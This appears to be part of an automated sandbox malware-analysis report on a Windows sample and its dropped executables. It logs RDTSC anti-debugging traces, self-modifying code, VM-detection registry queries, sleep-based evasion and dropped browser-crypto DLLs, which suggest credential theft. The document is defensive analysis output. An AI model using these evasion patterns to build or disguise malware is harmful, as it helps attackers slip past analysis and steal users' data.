Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DAD977 second address: DAD981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FF67050A376h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DADACE second address: DADAD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DADAD2 second address: DADAD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DADAD8 second address: DADADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DADBC2 second address: DADBC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DADBC8 second address: DADC83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 45021204h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FF670C3B918h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 sub dword ptr [ebp+1244B344h], edi 0x0000002f push 00000003h 0x00000031 jmp 00007FF670C3B923h 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007FF670C3B918h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 00000019h 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1BA3h], edx 0x00000058 jmp 00007FF670C3B922h 0x0000005d push 00000003h 0x0000005f jne 00007FF670C3B91Ch 0x00000065 call 00007FF670C3B919h 0x0000006a jne 00007FF670C3B928h 0x00000070 push eax 0x00000071 push eax 0x00000072 push esi 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DADC83 second address: DADCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jns 00007FF67050A378h 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jmp 00007FF67050A388h 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 jne 00007FF67050A378h 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCCD1D second address: DCCD2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B91Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCCE93 second address: DCCEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF67050A389h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCCEB1 second address: DCCED1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B926h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCCED1 second address: DCCED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCCED5 second address: DCCEDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCD16B second address: DCD174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCD174 second address: DCD18F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF670C3B925h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCD59C second address: DCD5A6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF67050A382h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCD726 second address: DCD72B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDA1B second address: DCDA20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDBCD second address: DCDBD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDBD1 second address: DCDBE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007FF67050A376h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDBE2 second address: DCDC09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FF670C3B927h 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDC09 second address: DCDC15 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF67050A376h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: D90A85 second address: D90AC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B920h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FF670C3B92Fh 0x0000000f jmp 00007FF670C3B929h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF670C3B91Dh 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDEBA second address: DCDEC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDEC0 second address: DCDEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF670C3B929h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCDEE0 second address: DCDF1A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF67050A389h 0x0000000f push ecx 0x00000010 jg 00007FF67050A376h 0x00000016 pop ecx 0x00000017 popad 0x00000018 push ecx 0x00000019 push esi 0x0000001a jmp 00007FF67050A37Ah 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCE5B9 second address: DCE5BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCE5BE second address: DCE5C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCE5C4 second address: DCE5CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCE5CA second address: DCE5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF67050A37Fh 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jc 00007FF67050A38Eh 0x00000014 jmp 00007FF67050A382h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCE863 second address: DCE867 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCE867 second address: DCE87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FF67050A37Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCEB60 second address: DCEB7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FF670C3B927h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCEB7C second address: DCEB82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCEB82 second address: DCEB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCEB86 second address: DCEB8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DCEB8A second address: DCEB90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD1AA8 second address: DD1AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD1AAE second address: DD1AB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD5276 second address: DD527A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD527A second address: DD5280 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD494B second address: DD4955 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF67050A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: D9ABC1 second address: D9ABD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FF670C3B916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: D9ABD1 second address: D9ABDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FF67050A376h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: D9ABDB second address: D9ABDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD84D8 second address: DD84E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FF67050A376h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD84E2 second address: DD850B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF670C3B916h 0x00000008 jo 00007FF670C3B916h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jnp 00007FF670C3B916h 0x0000001a jp 00007FF670C3B916h 0x00000020 pop edi 0x00000021 push eax 0x00000022 push edx 0x00000023 je 00007FF670C3B916h 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD850B second address: DD852E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A37Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FF67050A382h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD8C41 second address: DD8C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD8DAF second address: DD8DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD8DB5 second address: DD8DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DD8DBA second address: DD8DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDAADF second address: DDAAE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FF670C3B916h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDAAE9 second address: DDAAED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDAEB3 second address: DDAECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF670C3B923h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDB745 second address: DDB749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDB749 second address: DDB753 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDBB7B second address: DDBB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDBB7F second address: DDBB88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDBE09 second address: DDBE0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDBE0F second address: DDBE37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF670C3B922h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF670C3B91Dh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDF502 second address: DDF528 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jl 00007FF67050A393h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF67050A385h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DDEBE0 second address: DDEBE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DE0154 second address: DE0174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF67050A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007FF67050A380h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DE020A second address: DE0210 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	RDTSC instruction interceptor: First address: DE0D05 second address: DE0D10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FF67050A376h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Special instruction interceptor: First address: 3BFBAF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Special instruction interceptor: First address: 3BFC00 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Special instruction interceptor: First address: 3BD28A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe	Special instruction interceptor: First address: 5E8FE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Special instruction interceptor: First address: C2F8B9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Special instruction interceptor: First address: DD580A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Special instruction interceptor: First address: DD3FFC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Special instruction interceptor: First address: DE4002 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Memory allocated: 1120000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Memory allocated: 1AFF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Memory allocated: F20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Memory allocated: 2960000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\10014380101\Yg1HwMX.exe	Memory allocated: 2710000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10009960101\0iMSdYX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4346
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1720

Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\XK9L90SC7AOEFMV7ZL8Q53257L.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\NKJ797NQF61QBFM5Y63P3Y.exe	API coverage: 5.4 %
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	API coverage: 2.0 %
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	API coverage: 2.7 %

Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 1216	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 5592	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 4504	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 6588	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 6036	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 5460	Thread sleep time: -270000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 3448	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Anv6Gbh51e.exe TID: 1892	Thread sleep time: -38019s >= -30000s	Jump to behavior
